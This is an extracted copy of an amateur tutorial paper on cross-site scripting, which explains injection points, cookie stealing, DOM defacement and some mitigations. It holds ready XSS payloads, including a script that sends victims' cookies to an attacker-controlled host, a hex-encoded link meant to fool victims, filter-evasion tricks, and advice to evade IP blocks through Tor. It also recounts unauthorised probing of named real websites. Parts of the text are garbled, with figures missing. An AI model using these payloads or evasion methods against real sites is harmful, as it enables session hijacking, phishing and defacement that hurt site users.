Professional Documents
Culture Documents
com
You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. You may also lend copies, under the same conditions stated above, and you may publicly display copies. This electronic document is not for sale.
1
All graphics made by author and screenshots taken from live internet websites.
[5]
Index
1. Abstract 2. Introduction to XSS a. GET and POST requests i.GET EM! ii.POST Haste b. What is XSS Anyways and Why is it a Vulnerability? c. Persistent and Non-persistent XSS i.No Residue ii.Residue! 3. Attack! a. Internet Sandbox b. Dynamic Pages c. Error d. Subscriptions, Members and Bouncing Code e. Persistent and Non-Persistent Cookie Stealing f. Hiding in Plain Sight g. DOM modification via Identifiers i.Waiting h. Post-Exploitation - Why so Serious? i.Cookies Please! ii.Keystrokes! iii.Gimmie the Cache! iv.Trust Me! 4. Mitigation a. Mitigation b. Filtering Special Characters i.XSSers Have Friends 5. Conclusion 6. References
Abstract
Even though XSS is not a new vulnerability, it is far from being gone. The Internet is full of poorly designed code and many new XSS attack vectors exist. In this paper, I assume that we have basic HTTP, HTML, and Javascript knowledge, though its really not necessary. My first encounter with XSS was at http://walmart.com It displayed that my email address would receive a certain notification within square brackets. Before closing the page, I saw that my email address was in the URL. So I decided to change it to LOL HI!, or something similar, and refreshed the page. (I usually always use humor when playing the internet video game.) It worked! How could this be? This is such a huge corporation with millions of customers. Well, I decided to go further and change the web page with javascript, which also worked! I now had full control over the web page via a simple GET parameter. After emailing them about the issue, twice, they decided not to respond and not to fix the security hole. From then on, I have found a huge amount of high profile websites from universities, corporations, governments, and more with the same exact vulnerability. Everything that a computer is or does breaks down to user input and computer output. We just have to know what kind of user input will generate unintended computer output. XSS is a very popular way to do this. Why do we need another XSS document? A lot of people that I have come across dont really understand how devastating this attack really is or can be. This paper covers common attack methods for beginners and explains step by step how the attack actually works along with some personal experiences. I hope through reading this paper, some will return to their development and make some simple changes to purely sanitize all input making their websites a little more secure and some will venture out into the Internet for a little exploring.
Introduction
The internet is a massive network of computers and computer equipment. Web servers are simply computers with the default ports open (usually 80,443, etc) to serve web pages to any connection. These connections include using your browser, wget, fetch, curl, or any way a client system, (or your computer) can connect to it.
In figure 0, we can see a simple web page request from a client machine to a server. The server processes the incoming HTTP request and returns the data, sometimes along with errors, to the client machine which is then displayed in the clients browser. Sometimes, the HTTP request requires the use of the server CPU and sometimes it requires the CPU of the client. Client Side Scripting, such as Javascript, is processed by the client, or our computers. PHP, Coldfusion, and ASPX are examples of applications that process their respective code. These types of applications are called by the server depending on the HTTP request and use the CPU of the server itself before sending the data back to the client. The source code of interpreted languages should never be visible to the client. It lives on the server, is processed by the server, and never leaves. Once it is processed, the data that its processor returns to the web server is then passed to the client. For example, we request file.php on the server http://serverdotcom/ Our full request consists of the server, serverdotcom and the file file.php: http://serverdotcom/file.php The server, lets say Lighttpd, receives our request and passes it along with the file name file.php to the application PHP. PHP then compiles and runs the code within file.php and returns the output
back to Lighttpd. Lighttpd then serves the output to the internet which is then routed back to our machine. Its a little bit more complicated than Javascript. Javascript source code doesnt live anywhere. It is sent to our browsers and our CPUs are used to compile and display its output. We can view the source code of any Javascript application. We can even modify Javascript before processing it, just as we can modify CSS or HTML in our browser, with say, Firebug or Google Chromes integrated developer tools.
going to be using these two. A simple web form has an attribute called method which determines how the HTTP request is sent.
<form action=file.php method=post> <input type=text name=firstname/> <input type=submit value=submit my first name!/> </form>
The simple HTML code above is a form that will take the user input firstname and send it to the file file.php to be processed via a POST request. The major difference between these two requests is that a GET request is bookmarkable, and a POST request is not.
2. Then we change the 9 in the URL changing the value of the GET request to an apostrophe, http://serverdotcom/file.php?number= and we get an error: is not a number mysql_error: interger required: is not an integer. or the code:
<h1> is not a number</h1>mysql_error: integer required: is not an integer.
3. We see that our changed parameter number is taken by the scripting interpreter and displayed on the web page. This means that there are two possible points we can inject our code. Lets try with some HTML code: http://serverdotcom/file.php?number=<img%20src%3d%22http://server2dotcom/img.png %22/> 4. Our web page code now looks like this:
<h1><img src=http://server2dotcom/img.png/> is not a number</h1>mysql_error: integer required: <img src=http://server2dotcom/img.png/> is not an integer.
Our web browser now displays the image from across the web at http://server2dotcom as if it came directly from http://serverdotcom/ ! This is a Cross Site defacement. To test
Scripting we can try <script></script> tags and a simple alert(); Javascript function call to see if we can make the victims browser run our code. This is how XSS, or Cross Site Scripting works. Why is this a vulnerability? Well, if we have full script access (sometimes script tags do not work with semi-proper security measures), then we can completely alter the DOM.2 All of the div tag IDs can be accessed and changed, we can use our own malicious javascript for information gathering and Phishing, window redirection to browser exploit shellcode, or even simple defacement or host leeching. Since the URL contains the actual domain of http://serverdotcom/ most of their customers and patrons would trust the URL - which could then be used in a Phishing scam.
DOM is Document Object Model which is the document, or web page and all of its objects which is presented to the client after an HTTP request. 3 [8] Term from Wikipedia 4 Defacement in this course is simply altering the DOM in any way not intended by its original author.
8
Attack!
2.1 - Internet Sandbox
The internet is a giant sized playground to a bored hacker. It is a multipurpose tool for learning, entertainment, business, and much more. Even the most professional looking websites by some of the biggest names in any business category can have hidden XSS vulnerabilities lurking in their websites. Usually the first place to test injection is the search bar. Most websites have custom made search bars to search their databases and files for strings that the end user defines. Also, most of these custom search bars arent coded with proper security. Some web sites employ a custom third party search engine, such as Google Custom Search,[9] which is not vulnerable to XSS and we must find another entry point. A few CMS platforms, such as Wordpress, Drupal, and more, also have secured search bars that sanitize the input from our malicious code. We can easily recognize these systems from their themes, or testing if license.txt, or README.html is in the root web directory.
The above tag is most likely not vulnerable. If we put HTML code into that tag it will be translated into
<a href=http://serverdotcom/?first=%3Ch1%3ELULZ%3C%2fh1%3E&second=2&third=3/>
which would not show up as an actual <h1> tag on the web page, because it is encoded. If the parameter first is used in another tag, say <title>, then its most likely vulnerable.
<title>this is page LULZ</title>
Above we can see that the number was used in the URL GET parameter to display the page number within the sites title. Now, we can put HTML code into it to end the <title> tag and insert an <h1> tag: http://serverdotcom/?first=</title><h1>LULZ</h1>&second=2&third=3 which would make the source code look like so:
<title>this is page</title><h1>LULZ</h1></title>
This would prove that the attribute first is vulnerable. If first were used in a attribute for a tag, say a <div> ID, it might also be vulnerable:
<div id=1 class=myDivClass><h1>Welcome to Vulns Site!</h1></div>
Lets use this code in the URL to Inject Up: http://serverdotcom/?first=></div><h1>LULZ</h1><!--&second=2&third=3 When we end a attribute and close the tag, we are Inject[ing] Up.5 Now we end the ID quotation, end the open div tag, end the div tag, insert a header tag, close the header tag and then put an HTML comment which will force all other code to not even be displayed. This is yet another vulnerable GET parameter instance. These are very simple examples of finding vulnerabilities from the URL parameters. We can also modify the received DOM and change POST parameters, but this is not bookmarkable. Say we have a form with a drop down menu and a POST method:
<form method=post action=../files/check.php> <select> <option value=first>1</option> <option value=second>2</option> <option value=third>3</option> </select> </form>
This is a simple example. Its method is POST. This indicates that when our browser finally hits ../files/check.php there will be no parameters in our URL. We can alter this with Google Chromes developer tools and send LULZ instead of 1 for the first option. Once we
[4]
10
get to ../files/check.php we can view the source or the DOM for the word LULZ to see if this form is vulnerable.
2.3 - Errors
Sometimes an attack vector can be via an error. Some 404 errors display the page you were looking for in the URL as a GET parameter. Coldfusion, for example, can display large detailed Java errors that contain a lot of information, including the URL and parameters that made the code run improperly or die. Here is an example of a Coldfusion application that died and ran our markup language in the process:
In figure 1, we used in-line styling changing the color to red. This is useful when trying to find your injected code quickly within a DOM that is full of words and images. PHP MySQL errors can also display the URL and the invalid parameter. Here is another example of a MySQL error that displays our rendered code pulling an image from abroad:
11
Programmers often overlook 404, 403, server error behavior and other errors. The message generated by this error, in figure 2, was actually generated by the application server itself, which is poorly configured.
then each time the page was requested, we would see what was in the current directory. This can extend to any command that the web server user has access to.
12
If a website takes email addresses for email subscriptions, that could be yet another form to test for code injection. If they ask several questions about us then display them on another page, we can test each text box. A good way to attack an external victim is by taking advantage of the email subscription and member sign-up forms. If we know their email, we can make a phony account and let the website email our malicious code directly to them. This is an example of bouncing the malicious code to the victim via the legitimate site by taking advantage of sites XSS vulnerability.
The code in figure 3 simply sets two cookies: username and password, then writes to a simple text file that is then included at the bottom of the page. It is purposely coded with an XSS vulnerability and none of the clients input is sanitized before placing it into the text file. The first thing we try is to put a simple <h1> tag into the webpage, then an alert(); call:
13
Figure 4: the Javascript function alert(); was successfully injected into the webpage.
Since this was successful, lets try a more malicious attack and see if we can view our cookies instantiated by PHP by using the document.cookie Javascript object.
14
This attack was successful, so now we can try to call an off-site script that will dump this cookie into a text file for later use. We can use the simple fopen(); fwrite(); and fclose(); in PHP in an off site script to dump the cookie passed via a GET request. Here is the code we inject into the web page to steal the cookies:
<script>window.location=http://server2dotcom/malicious.php?cookie=+document.cookie;</ script>
Here, the cookie is passed with the name cookie then PHP can dump that to a file and then redirect right back to the victims site (at a different location to avoid redirect loops).
We can also do this with Non-Persistent XSS along with a GET request. We just have to hide our malicious code at the end of the URL and hope that our victim clicks on the link. To do
15
this, we can fully encode the value of the vulnerable GET parameter. By fully encoding the parameter, we hide even the simple alpha-numeric characters so that the unsuspecting victim sees only the legit domain and symbols after the URL making it look valid. http://serverdotcom/file.php?first=1&second=<script src=http://server2dotcom/malicious.js></script>&third=3 can be changed into: http://serverdotcom/file.php?first=1&second=%3C%73%63%72%69%70%74%20%73% 72%63%3D%68%74%74%70%3A%2F%2F%73%65%72%76%65%72%32%64%6F%74%63% 6F%6D%2F%6D%61%6C%69%63%69%6F%75%73%2E%6A%73%3E%3C%2F%73%63%72 %69%70%74%3E&third=3 This will still seem valid to the common Internet user and still run just like the code above. A lot of simple XSS mitigation attempts can be bypassed by encoding the URL this way. We can use the HackBar[2] plugin for Firefox to quickly change our request, but it doesnt change all characters. At times, we also may need to use URL shortening services[3] for all links within our code to external resources. This cuts back on the amount of data pulled by the victim via the URL dramatically.
The code above has the identifier header and we can now change the header of the web page with:
<script> document.getElementById(header).innerHTML=<img src=http://server2dotcom/maliciousimg.png/>; </script>
and this would replace their header image. This function can be used with anything that has loaded before the script runs.
16
We can also change CSS styles by adding new <style> tags anywhere on the page. We can even insert a new <body> tag with Javascript in its onLoad attribute. This is good if the IDS blocks our attempts to inject code by replacing forward slashes and any quotes:
<body onLoad=javascript:alert(document.cookie)>
The above code will display any cookie objects instantiated by this request. Waiting Sometimes, we will have to wait until the DOM is completely loaded by the browser before we can alter any page objects via identifiers. For instance, if our code is loaded before the div tag with the id myId and we try to alter it using the getElementById(); function, it will fail because it doesnt exist yet. To avoid this, we can use the window.onload trigger.
<script>window.onload = function() {document.getElementById().innerHTML=PWNT; }</script>
The above code is how we modify a submit buttons behavior when clicked. We could have this call any script we want, from anywhere making the XSS vulnerability incredibly devastating.
17
Gimmie the Cache! Javascript can be extremely malicious. A victims browser can cache our malicious javascript indefinitely. It can be used to scan ports and machines on the internet or local intranet, hog or share cpu cycles for clustered processes with software such as Ravan,[7] Steal cached files and passwords from browsers, spawn shells, redirect to browser exploit code, browser sessions hijacked, and much more. XSS is a severe vulnerability. Trust Me! The last, but most important, thing that we need to realize after an attack is broken trust. Trust is compromised whenever a site is hacked between its members, patrons, or customers, and the business or organization. Because all XSS attacks are wrapped with the actual domain name and URL of the host, it becomes much easier to perform attacks based on trust. Its actually common for the actual site administrator to be victim to XSS and phishing without ever knowing it. Once the administrator is compromised, the database is usually next. If the database contains information that the programmer decided not to encrypt and it gets leaked by a hacker, the trust relationship between the institution and its clients or members will never be the same.
18
XSS Mitigation
3.1 - Mitigation
There are two ways to mitigate XSS attacks. First, we could use the web server application itself. For example, one could use the mod-rewrite function of Apache along with regular expressions to change HTML and Code into plain text at runtime. For instance, we could change > into > to have it displayed in a web browser just as the characters. This translation works well, but if your web application requires you to have those special characters in their plain ASCII format to be stored in the DB, then this method will not work.
Figure 6: An ASPX server responding to an XSS attempt. This is the default configuration which states that to see the actual error we must reconfigure the servers settings.
Often these system settings will block not only XSS but any HTML code at all, including <h1> tags. In figure 6, the error produced is a generic error stating that we can have the application server tell us the error if we change its configuration settings and restart it. The second type is programmatic. The application programmer can take our input and translate the characters and make the transaction of I/O a little more secure. This method, though mostly effective, can have holes and is not airtight. An example would be the javascript function replace(); This can change any string given by a user as defined by precise regular expression rules and changed into anything else.
19
str.replace(/>/g, >);
The above code would alter the str string changing any > symbols into the string > so that they would be displayed as > on the website, but not interpreted as code by a clients web browser. But,6 this is a Javascript security measure. What we have learned so far in this paper is that we can see and change Javascript code before sending the HTTP form request. A real life example would be http://geocaching.com/ After doing a search we can alter the GET URL parameters to attempt XSS. The result is changed from <h1>LULZ</h1> into:
<span id="ctl00_ContentBody_LocationPanel1_OriginLabel">By Keyword <h1>LULZ</h1></span></p>
This will display <h1>LULZ</h1> on the page and not run the HTML code which would display LULZ in a header stylized font. If we were to write an automated tool that searched for XSS vulnerabilities, we could use this to our programming advantage. Since we cannot inject code, we can still make the page say whatever we want it to
Figure 7: Geocaching.com with passive DOM modification using a simple GET request
Figure 7 is an actual screenshot of the altered DOM to say whatever we please. This is passive DOM modification.7
6 7
Note: This is an important thing to remember when dealing with POST requests.
Phrase coined by author. This method could have a different name. The attack is more of an annoyance than an anything. 20
Figure 8: HTML tags without quotes can still be rendered by most current browsers.
displays the image without any errors in Google Chrome version 18.0.1025.168 m. With this in mind we can also change these characters and write them to the DOM using Javascripts fromCharCode(); function. This will simply take numbers and translate them into ASCII characters before they are rendered by the browser. A list of codes can be found easily on the internet, but here I will list a few and a small example:
A a B b = = = = 65 97 66 98
Magic Quotes have been removed from PHP starting at version PHP6
[10]
21
and will be written to the DOM and rendered as HTML by the browser. XSSers Have Friends The String.fromCharCode() function is extremely useful in many situations. At times, it can be a XSSers best friend. One example would be when we cannot inject interpolated strings due to the plus symbol being rendered in the URL by the browser and server. Sometimes, the double quotes are added by the server, interpreter, or browser. When this is the case, anything preceded with an equals symbol will automatically be surrounded with double quotes! Because <body>javascript:document.write(String.fromCharCode()) doesnt contain double quotes, single quotes, or forward slashes, it can usually be injected into a DOM. Some imperfect security measures employed by system administrators and programmers will change bad characters into strings, but not vice versa. For example, an IDS can search for HTTP requests with URLs that contain < but not the URL encoded Hex value for < which is %3C This will allow us to inject code into the DOM that is simply encoded into its respective hexadecimal values.
3.4 - IP Blocking
A few web servers will actually try to block your IP address when the IDS senses markup or scripting code in an HTTP request. This is a poor type of security, as we can simply select a new identity in the Vidalia console for our Tor proxy and modify our code to be stealthier.
22
Conclusion
Web applications, and web pages that produce content dynamically, require not only programming skill, but a solid understanding of information security during development. Without it, the web programmer can, very easily and unintentionally, expose the entire institutions database, ruin trust with customers, become victim to phishing, and as we see here allow web page modification and expose the general public to malicious javascript code. Understanding how the internet works, how attackers think, how to properly sanitize user input, and how to communicate between different levels of information management, is key to developing the solid skill. I encourage all to rethink and test your applications, with frameworks or by hand, for simple quality and trust assurance. Cross Site Scripting is, again, a very serious vulnerability. With a simple Google search, one can easily see the past experiences that companies have endured after an attack that was originated from a simple XSS vulnerability. Thank you for taking the time to read this paper and please feel free to send your comments to weaknetlabs@gmail.com
23
References
[1] Giorgio Maone. NoScript Plugin for Firefox. http://noscript.net/features#xss [2] Johan Adriaans, Pedro Laguna. HackBar Plugin for Firefox: https://addons.mozilla.org/enUS/firefox/addon/hackbar/ [3] Bitly. Bitly URL Shortening Service: https://bitly.com/ [4] OWASP. XSS Cheat Sheet (For dialog): https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet [5] GNU. GNU Free Documentation License. http://www.gnu.org/copyleft/fdl.html [6] Edit This Cookie: https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg [7] Attack and Defense Labs. Ravan Javascript Distributed Hash Cracking Service: http://www.andlabs.org/tools/ravan/ravan.html [8] Wikipedia Foundation. Wikipedia Cross Site Scripting: http://en.wikipedia.org/wiki/Cross-site_scripting [9] Google. Google Custom Search: http://www.google.com/cse/ [10] Wikipedia Foundation. Magic Quotes: http://en.wikipedia.org/wiki/Magic_quotes
24